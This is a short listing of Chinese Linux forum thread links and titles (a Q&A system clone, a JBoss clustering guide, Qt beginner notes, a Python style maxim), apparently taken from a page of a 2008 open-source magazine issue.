http://bbs.linuxpk.com/thread-36233-1-1.html
仿百度知道的问答系统~ ...
http://bbs.linuxpk.com/thread-36401-1-1.html
Jboss 集群指南
http://bbs.linuxpk.com/thread-36136-1-1.html
qt 菜鸟,初来乍到的先给献上昨天的一份 qt 笔记,以后还请各位大大多指教
http://bbs.linuxpk.com/thread-36309-1-1.html
Python 八荣八耻
http://bbs.linuxpk.com/thread-36259-1-1.html
开
oss.linuxpk.com 源 2008 年第 12 期 117
封底